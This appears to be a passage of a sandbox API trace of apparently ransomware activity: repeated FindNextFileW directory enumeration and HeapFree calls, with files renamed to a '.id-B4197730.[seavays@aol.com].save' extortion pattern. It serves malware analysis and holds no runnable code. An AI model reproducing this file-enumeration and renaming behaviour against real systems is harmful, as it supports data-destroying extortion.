ftCreationTime.dwLowDateTime=0x927cc87, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x927cc87, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92a2ea5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="ParameterInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.078] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x97db9cb, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x97db9cb, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x98004f5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~1.SAV")) returned 1 [0206.078] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98004f5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x98004f5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9826619, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~2.SAV")) returned 1 [0206.078] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9826619, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9826619, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9cc4f61, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="Setup.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~1.SAV")) returned 1 [0206.079] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x997dba9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x997dba9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9f4d74a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="SetupEngine.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~2.SAV")) returned 1 [0206.079] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cc4f61, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9cc4f61, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9ceb1cf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="SetupUi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~2.SAV")) returned 1 [0206.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.143] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x3defcf8 | out: lpFindFileData=0x3defcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0206.144] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.144] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0206.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.145] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="da-DK", cAlternateFileName="")) returned 1 [0206.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.145] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="de-DE", cAlternateFileName="")) returned 1 [0206.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.145] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="el-GR", cAlternateFileName="")) returned 1 [0206.146] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.146] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="en-GB", cAlternateFileName="")) returned 1 [0206.146] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.146] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="en-US", cAlternateFileName="")) returned 1 [0206.146] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.147] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="es-ES", cAlternateFileName="")) returned 1 [0206.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.147] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="es-MX", cAlternateFileName="")) returned 1 [0206.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.147] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="et-EE", cAlternateFileName="")) returned 1 [0206.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.148] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0206.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.148] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="Fonts", cAlternateFileName="")) returned 1 [0206.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.151] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0206.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.151] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0206.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.151] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0206.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.152] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0206.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.152] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="it-IT", cAlternateFileName="")) returned 1 [0206.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.152] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0206.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.153] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0206.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.153] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0206.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.154] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0206.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.154] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0206.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.154] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0206.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.155] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0206.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.155] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0206.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.156] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.156] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0206.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.161] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.161] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.161] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0206.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a70b0 | out: hHeap=0x5c0000) returned 1 [0206.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.502] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42da0e0 | out: hHeap=0x5c0000) returned 1 [0206.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 